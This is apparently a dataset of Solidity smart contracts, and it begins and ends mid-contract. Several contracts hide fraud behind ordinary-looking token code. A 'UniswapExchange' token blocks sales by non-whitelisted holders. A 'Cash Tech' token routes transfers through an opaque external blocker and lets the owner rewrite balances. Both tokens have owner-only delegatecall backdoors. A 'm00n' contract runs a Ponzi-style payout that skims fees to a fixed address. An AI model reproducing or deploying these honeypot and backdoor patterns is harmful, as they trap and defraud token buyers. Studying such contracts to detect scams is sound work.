require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 431 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract PowerfulERC20 is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 155000000000000000000000000;
string public name = "Cash Tech";
string public symbol = "CATE";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 145 |
pragma solidity ^0.4.23;
contract m00n
{
mapping (address => uint) public invested;
mapping (address => uint) public atBlock;
uint public investorsCount = 0;
function () external payable
{
if(msg.value > 0)
{
require(msg.value >= 10 finney);
uint fee = msg.value * 10 / 100;
address(0xAf9C7e858Cb62374FCE792BF027C737756A4Bcd8).call.gas(62000).value(fee)();
if (invested[msg.sender] == 0) ++investorsCount;
}
payWithdraw(msg.sender);
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
function payWithdraw(address to) private
{
if(invested[to] == 0) return;
uint amount = invested[to] * 5 / 100 * (block.number - atBlock[to]) / 6170;
to.transfer(amount);
}
} | 0 | 2,033 |
pragma solidity 0.4.25;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
interface IDatabase {
function createEntry() external payable returns (uint256);
function auth(uint256, address) external;
function deleteEntry(uint256) external;
function fundEntry(uint256) external payable;
function claimEntryFunds(uint256, uint256) external;
function updateEntryCreationFee(uint256) external;
function updateDatabaseDescription(string) external;
function addDatabaseTag(bytes32) external;
function updateDatabaseTag(uint8, bytes32) external;
function removeDatabaseTag(uint8) external;
function readEntryMeta(uint256) external view returns (
address,
address,
uint256,
uint256,
uint256,
uint256
);
function getChaingearID() external view returns (uint256);
function getEntriesIDs() external view returns (uint256[]);
function getIndexByID(uint256) external view returns (uint256);
function getEntryCreationFee() external view returns (uint256);
function getEntriesStorage() external view returns (address);
function getSchemaDefinition() external view returns (string);
function getDatabaseBalance() external view returns (uint256);
function getDatabaseDescription() external view returns (string);
function getDatabaseTags() external view returns (bytes32[]);
function getDatabaseSafe() external view returns (address);
function getSafeBalance() external view returns (uint256);
function getDatabaseInitStatus() external view returns (bool);
function pause() external;
function unpause() external;
function transferAdminRights(address) external;
function getAdmin() external view returns (address);
function getPaused() external view returns (bool);
function transferOwnership(address) external;
function deletePayees() external;
}
interface IDatabaseBuilder {
function deployDatabase(
address[],
uint256[],
string,
string
) external returns (IDatabase);
function setChaingearAddress(address) external;
function getChaingearAddress() external view returns (address);
function getOwner() external view returns (address);
}
contract Safe {
address private owner;
constructor() public
{
owner = msg.sender;
}
function()
external
payable
{
require(msg.sender == owner);
}
function claim(address _entryOwner, uint256 _amount)
external
{
require(msg.sender == owner);
require(_amount <= address(this).balance);
require(_entryOwner != address(0));
_entryOwner.transfer(_amount);
}
function getOwner()
external
view
returns(address)
{
return owner;
}
}
interface IChaingear {
function addDatabaseBuilderVersion(
string,
IDatabaseBuilder,
string,
string
) external;
function updateDatabaseBuilderDescription(string, string) external;
function depricateDatabaseBuilder(string) external;
function createDatabase(
string,
address[],
uint256[],
string,
string
) external payable returns (address, uint256);
function deleteDatabase(uint256) external;
function fundDatabase(uint256) external payable;
function claimDatabaseFunds(uint256, uint256) external;
function updateCreationFee(uint256) external;
function getAmountOfBuilders() external view returns (uint256);
function getBuilderByID(uint256) external view returns(string);
function getDatabaseBuilder(string) external view returns(address, string, string, bool);
function getDatabasesIDs() external view returns (uint256[]);
function getDatabaseIDByAddress(address) external view returns (uint256);
function getDatabaseAddressByName(string) external view returns (address);
function getDatabaseSymbolByID(uint256) external view returns (string);
function getDatabaseIDBySymbol(string) external view returns (uint256);
function getDatabase(uint256) external view returns (
string,
string,
address,
string,
uint256,
address,
uint256
);
function getDatabaseBalance(uint256) external view returns (uint256, uint256);
function getChaingearDescription() external pure returns (string);
function getCreationFeeWei() external view returns (uint256);
function getSafeBalance() external view returns (uint256);
function getSafeAddress() external view returns (address);
function getNameExist(string) external view returns (bool);
function getSymbolExist(string) external view returns (bool);
}
contract PaymentSplitter {
using SafeMath for uint256;
uint256 internal totalShares;
uint256 internal totalReleased;
mapping(address => uint256) internal shares;
mapping(address => uint256) internal released;
address[] internal payees;
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
constructor (address[] _payees, uint256[] _shares)
public
payable
{
_initializePayess(_payees, _shares);
}
function ()
external
payable
{
emit PaymentReceived(msg.sender, msg.value);
}
function getTotalShares()
external
view
returns (uint256)
{
return totalShares;
}
function getTotalReleased()
external
view
returns (uint256)
{
return totalReleased;
}
function getShares(address _account)
external
view
returns (uint256)
{
return shares[_account];
}
function getReleased(address _account)
external
view
returns (uint256)
{
return released[_account];
}
function getPayee(uint256 _index)
external
view
returns (address)
{
return payees[_index];
}
function getPayeesCount()
external
view
returns (uint256)
{
return payees.length;
}
function release(address _account)
public
{
require(shares[_account] > 0);
uint256 totalReceived = address(this).balance.add(totalReleased);
uint256 payment = totalReceived.mul(shares[_account]).div(totalShares).sub(released[_account]);
require(payment != 0);
released[_account] = released[_account].add(payment);
totalReleased = totalReleased.add(payment);
_account.transfer(payment);
emit PaymentReleased(_account, payment);
}
function _initializePayess(address[] _payees, uint256[] _shares)
internal
{
require(payees.length == 0);
require(_payees.length == _shares.length);
require(_payees.length > 0 && _payees.length <= 8);
for (uint256 i = 0; i < _payees.length; i++) {
_addPayee(_payees[i], _shares[i]);
}
}
function _addPayee(
address _account,
uint256 _shares
)
internal
{
require(_account != address(0));
require(_shares > 0);
require(shares[_account] == 0);
payees.push(_account);
shares[_account] = _shares;
totalShares = totalShares.add(_shares);
emit PayeeAdded(_account, _shares);
}
}
contract FeeSplitterChaingear is PaymentSplitter, Ownable {
event PayeeAddressChanged(
uint8 payeeIndex,
address oldAddress,
address newAddress
);
constructor(address[] _payees, uint256[] _shares)
public
payable
PaymentSplitter(_payees, _shares)
{ }
function changePayeeAddress(uint8 _payeeIndex, address _newAddress)
external
onlyOwner
{
require(_payeeIndex < 12);
require(payees[_payeeIndex] != _newAddress);
address oldAddress = payees[_payeeIndex];
shares[_newAddress] = shares[oldAddress];
released[_newAddress] = released[oldAddress];
payees[_payeeIndex] = _newAddress;
delete shares[oldAddress];
delete released[oldAddress];
emit PayeeAddressChanged(_payeeIndex, oldAddress, _newAddress);
}
}
library ERC721MetadataValidation {
function validateName(string _base)
internal
pure
{
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
require(_baseBytes[i] >= 0x61 && _baseBytes[i] <= 0x7A || _baseBytes[i] >= 0x30 && _baseBytes[i] <= 0x39 || _baseBytes[i] == 0x2D);
}
}
function validateSymbol(string _base)
internal
pure
{
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
require(_baseBytes[i] >= 0x41 && _baseBytes[i] <= 0x5A || _baseBytes[i] >= 0x30 && _baseBytes[i] <= 0x39);
}
}
}
contract Chaingear is IChaingear, Ownable, SupportsInterfaceWithLookup, Pausable, FeeSplitterChaingear, ERC721Token {
using SafeMath for uint256;
using ERC721MetadataValidation for string;
struct DatabaseMeta {
IDatabase databaseContract;
address creatorOfDatabase;
string versionOfDatabase;
string linkABI;
uint256 createdTimestamp;
uint256 currentWei;
uint256 accumulatedWei;
}
struct DatabaseBuilder {
IDatabaseBuilder builderAddress;
string linkToABI;
string description;
bool operational;
}
DatabaseMeta[] private databases;
mapping(string => bool) private databasesNamesIndex;
mapping(string => bool) private databasesSymbolsIndex;
uint256 private headTokenID = 0;
mapping(address => uint256) private databasesIDsByAddressesIndex;
mapping(string => address) private databasesAddressesByNameIndex;
mapping(uint256 => string) private databasesSymbolsByIDIndex;
mapping(string => uint256) private databasesIDsBySymbolIndex;
uint256 private amountOfBuilders = 0;
mapping(uint256 => string) private buildersVersionIndex;
mapping(string => DatabaseBuilder) private buildersVersion;
Safe private chaingearSafe;
uint256 private databaseCreationFeeWei = 1 finney;
string private constant CHAINGEAR_DESCRIPTION = "The novel Ethereum database framework";
bytes4 private constant INTERFACE_CHAINGEAR_EULER_ID = 0xea1db66f;
bytes4 private constant INTERFACE_DATABASE_V1_EULER_ID = 0xf2c320c4;
bytes4 private constant INTERFACE_DATABASE_BUILDER_EULER_ID = 0xce8bbf93;
event DatabaseBuilderAdded(
string version,
IDatabaseBuilder builderAddress,
string linkToABI,
string description
);
event DatabaseDescriptionUpdated(string version, string description);
event DatabaseBuilderDepricated(string version);
event DatabaseCreated(
string name,
address databaseAddress,
address creatorAddress,
uint256 databaseChaingearID
);
event DatabaseDeleted(
string name,
address databaseAddress,
address creatorAddress,
uint256 databaseChaingearID
);
event DatabaseFunded(
uint256 databaseID,
address sender,
uint256 amount
);
event DatabaseFundsClaimed(
uint256 databaseID,
address claimer,
uint256 amount
);
